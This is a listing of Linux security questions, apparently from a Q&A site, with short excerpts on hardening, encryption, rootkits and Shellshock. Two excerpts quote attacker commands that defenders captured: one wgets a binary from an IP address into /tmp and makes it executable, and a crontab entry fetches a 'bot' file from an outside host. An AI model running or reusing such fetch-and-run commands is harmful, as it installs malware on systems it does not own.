Securing Linux systems and applications; understanding Linux security features.

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Apache/Linux server, DoS attack from own IP

I have an unusual problem I've been trying to diagnose for a while: It's about a Debian server running a custom compile of apache 2.2 with PHP, Red5, MySQL 5.5 (standard binary), sendmail (distro ...
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8answers
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How anonymous is my setup?

my friend and I are trying to make the most anonymous setup for a computer to do things across the internet without being known the location from which it came. Our setup is as follows: A windows ...
11
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3answers
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Installing Development Tools on Production Server? Security Risk?

I am using an Amazon Linux EC2 instance as a web server. My web app uses ImageMagick. Because the Amazon Linux (CentOS) repository doesn't include an up-to-date version of ImageMagick, I am compiling ...
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4answers
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environment variable accessibility in Linux

Perhaps this is a trivial question, but how accessible are environment variables in Linux between different users? e.g. if Alice executes export FAVORITE_FOOD=`cat /home/alice/fav_food.txt` Can ...
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3answers
458 views

Given SSH access, what should I do to protect a server and monitor (dangerous) user actions?

Context: Small business, mostly a software house for web applications but also some desktop software. Many external collaborators, so a variety of outside users with access to the servers. Single ...
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3answers
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What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
11
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4answers
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How secure is NOPASSWD in passwordless sudo mode?

On all our boxes we have ssh access via keys. All keys are password protected. At this moment the sudo mode is not passwordless. Because the number of VMs are growing in our setup, we investigate the ...
11
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2answers
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For LUKS: The most preferable and safest cipher?

I'm about to encrypt two of my hard drives using LUKS, since I can't really do it myself I use the guide on the Arch Linux wiki (which can be found here). In an example in the guide the cipher ...
11
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1answer
453 views

Slot machine segfault: what can we determine?

We walked into a casino and saw this near the entrance. I don't have a specific question, but is there anything that would be interesting to share and explain from the image?
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4answers
512 views

How to react when under attack

Just this week someone has been trying to attack the server of the company where I work. I have noticed that they have been trying to brute force root via ssh. fail2ban is handling that well and I ...
10
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2answers
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How to encrypt data on the server?

I have some data on the server (running Linux) which needs to be encrypted (company policy). This data is being served by an application running on this machine. Now I consider a few possibilities: ...
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7answers
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Secure memcpy for pure C

Buffer overflows are nothing new. And yet they still appear often, especially in native (i.e. not managed) code... Part of the root cause, is usage of "unsafe" functions, including C++ staples ...
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2answers
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How to get MAC addresses of devices which are not in the network

Can I get MAC addresses of devices (mobile phones) which are near to my network but not connected to it? (Linux) I have been trying to get the MAC addresses of devices connected to my network through ...
10
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2answers
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Java SecureRandom doesn't block? How?

I know from experience that reading from /dev/random blocks when the Linux kernel entropy pool runs out of entropy. Also, I've seen many articles and blog entries stating that when running on Linux, ...
10
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1answer
2k views

Backtrack 5 in a VM - Why bridged networking over NAT?

When running Backtrack 5 from a VM, it is recommended to use the bridged networking option instead of the NAT networking option? How does it affect the usage of Backtrack - port scanning, ...
10
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1answer
778 views

Relative importance of CHROOT for web servers

I have read extremely mixed opinions on the process of chrooting for a web server (non-shared environment). Some people swear by it, yet others say that it isn't as secure as everyone says. Given ...
10
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1answer
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Effects of DDoS attacks on memory use under Linux

Can someone whose Linux system is under DDoS attacks give me exact data on the effects of the Low Orbit Ion Cannon (LOIC), the High Orbit Ion Cannon (HOIC), Slowloris, PyLoris, Hping etc. on memory ...
10
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1answer
586 views

Help in understanding an application's crash - exploitable?

Being new to researching vulnerabilities in native applications (as opposed to web apps), I'm having difficulties understanding a crash in Debian's browser, Epiphany (version 2.30.6), and determining ...
9
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7answers
1k views

How are open-sourced operating systems and software kept secure?

I have been wondering about his for awhile. I have Linux running on a PC at home. I had a jailbroken iPhone. They both have attributes that make them very attractive, and they are also FREE! But I ...
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2answers
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Securing my web-server / website [closed]

Does anyone know of a comprehensive security guide about important basics / fundamentals which should be done to secure a web-server / website? A web link would do.
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4answers
551 views

What would happen if one of the popular Linux repositories is hacked?

Even though most people consider downloading your Linux software from you own distribution's repositories as safe, thinking about the scenario where a repository gets hacked sounds thrilling. What ...
9
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4answers
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nmap showing unknown IPs on private network

I had a go at scanning my home network with nmap, doing a 192.168.0.0/16 netscan. To my surprise, the results shown multiple live devices not only on 192.168.1.x (where all our known devices are) but ...
9
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1answer
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TCP Peer unexpectedly shrunk window messages in dmesg log

We get quite few messages like these in our dmesg log on various servers: TCP: Peer 0000:0000:0000:0000:0000:ffff:d431:5861:56369/80 unexpectedly shrunk window 2522304441:2522312601 (repaired) TCP: ...
9
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1answer
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Securing restricted shell environments

I've read a few things to indicate that restricted shells can be broken out of if not implemented properly (even wikipedia, for instance). I'm looking for some guidance on what causes security holes ...
9
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2answers
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Which Linux kernel vulnerabilities allow installing a kernel-level rootkit?

My question is related to vulnerabilities that allow installing a Linux kernel-level rootkit (for example, to modify the execution flow inside the kernel; for return-oriented attacks; or to modify ...
9
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2answers
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Recommend Keylogger for Ubuntu?

I purchased a new laptop recently, and I'm working on hardening it. Specifically, I'm interested in increasing my chances of recovering the machine in the event that it's ever stolen. The system ...
9
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1answer
264 views

What shell binary should I use for the root account on a Linux system?

Is there a security advantage to using a different shell for the root account, either a hardened shell program, or simply a shell binary stored in a non-standard location?
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6answers
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Good file encryption tools

Could you please help me find a good file encryption tool? The target OS is Linux, but tools for Windows are welcome, too. FOSS tools are preferred. The tool must be reliable both for the recovery of ...
8
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5answers
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How can I remotely wipe the contents of a Linux Laptop if its been stolen?

I am currently investigating using Linux Laptops for my development team. We currently run Windows. The one advantage that keeps coming up for Windows over Linux from a system administration / ...
8
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3answers
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How to manually check for rootkits on a server

Does anyone have a general step by step list on how to try discover rootkits on a Linux or Solaris server? I'm looking for to to manually find the rootkit, not by automated software. For example: ...
8
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4answers
420 views

Best practices for physically securing a notebook

If the user knows that other people will repeatedly have physical access to her notebook - running Linux - while she is absent, and that there is no way around this, what are best practices for ...
8
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2answers
556 views

Is a rand from glibc's rand secure for a login key?

Same question as Is a rand from /dev/urandom secure for a login key, but with glibc's rand function instead of /dev/urandom. And what would be a sufficiently secure seed generator?
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3answers
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Is CentOS a good choice from a security perspective?

How secure is the CentOS Linux distribution? I noticed there were times when there were no up-to-date patches for some version of CentOS (e.g., 5.6). I read this on some mailing list that I can't ...
8
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2answers
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Running proprietary software on Linux safely

As a summer project, I'm looking to prevent any piece of proprietary software like many games I run from have access to my personal files. After looking a lot at sandboxing, I've decided that anything ...
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4answers
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Does UNIX have a dual approval mechanism?

Sudo and logging is used to keep administrators accountable. But is there a command/configuration that lets you enforce a dual approval type control such as the the "Two Person Concept"? (eg. Two ...
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2answers
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Best way for a hacker to hide a file on Linux?

Suppose a hacker obtains a shell on my Linux host and wants to hide a file. What's the best way for him to do this? You may assume unprivileged or root access. My thoughts are Use a .file ...
8
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2answers
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Using TPM with DMcrypt?

Is it possible to use TPM for storage of some private key? It's not a full-disk encryption , I want it to be compatible with existing LUKS, just add another key, and store it in the TPM.
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4answers
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How to disable Firewire in OpenBSD/Linux to prevent attacks through Firewire?

Since Firewire lacks security, allowing a plugged-in device to access host memory, it's a good thing to fully disable it. If we're not using the BIOS to disable the Firewire port then how could we do ...
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2answers
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Is connecting to an open WiFi router with DHCP in Linux susceptible to Shellshock?

Source: http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.html For the same reason, userland DHCP clients that invoke configuration scripts and use variables to pass down ...
8
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1answer
473 views

What does this attempted Shellshock exploit do, and has my website been compromised?

I grepped my Apache's access.log today for the now infamous () { string, and besides a bunch of what seemed like pings to check how many servers are vulnerable, I found this attempt, which looked like ...
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6answers
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Using linux to combat windows flash drive malware?

I just put an old flash drive which i used with a windows machine into my linux. I noticed many files, mostly exes which were never visible in windows (my windows does not hide hidden files and ...
7
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4answers
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What do I need to configure, to make sure my software uses /dev/urandom?

When setting up a server, what configuration changes do I need to make sure that all of the software uses /dev/urandom instead of /dev/random? Some servers don't have much entropy in the entropy pool ...
7
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5answers
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Browsing on a USB OS (Linux) safe from malware?

Let's say I have a computer. It's a personal computer - the one you'd typically find in homes. In this scenario, it's running Windows XP SP3, although it could run 7, Vista, etc. I have a USB drive ...
7
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3answers
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Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
7
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2answers
5k views

How trustworthy is SELinux? [closed]

Given the ongoing leaks concerning mass surveillance and the fact that the NSA is the original developer of SELinux, I'm wondering whether that means that backdoors should be expected in there? As ...
7
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2answers
382 views

Is there any Linux distro or kernel patch that wipes a process memory space after the process exits?

An application runs on an embedded battery-powered PC, accessible to some restricted public, that stores secrets in RAM. To prevent cold boot attacks and that the PC is stolen to extract its secrets, ...
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8answers
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Linux or Windows- the security issue [duplicate]

Possible Duplicate: Open Source vs Closed Source Systems Almost anyone who has grown up on Windows must have had the notion (that I had) of Linux being more secure than Windows- one of ...
7
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2answers
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What features do you look for in an Enterprise Log Management solution?

This question is for IT Pros, and people who manage a company's infrastructure. Developers should see this related answer for tools geared for them. What are your requirements for such a Event Log ...
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2answers
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Is it possible to use the aircrack-ng tool to crack a WPA2 Enterprise network?

is this tool (aircrack-ng) capable of cracking into a WPA/WPA2 Enterprise network? This tool has major success cracking the passwords of WEP/WPA networks. If it can, how, but if not, is there another ...
7
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2answers
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Filling the disk with random data prior to encryption?

Filling the disk with random data prior to encrypting it will supposedly make it harder for the attacker to perform any cryptanalysis. Most sources seem to state this is because it will be harder for ...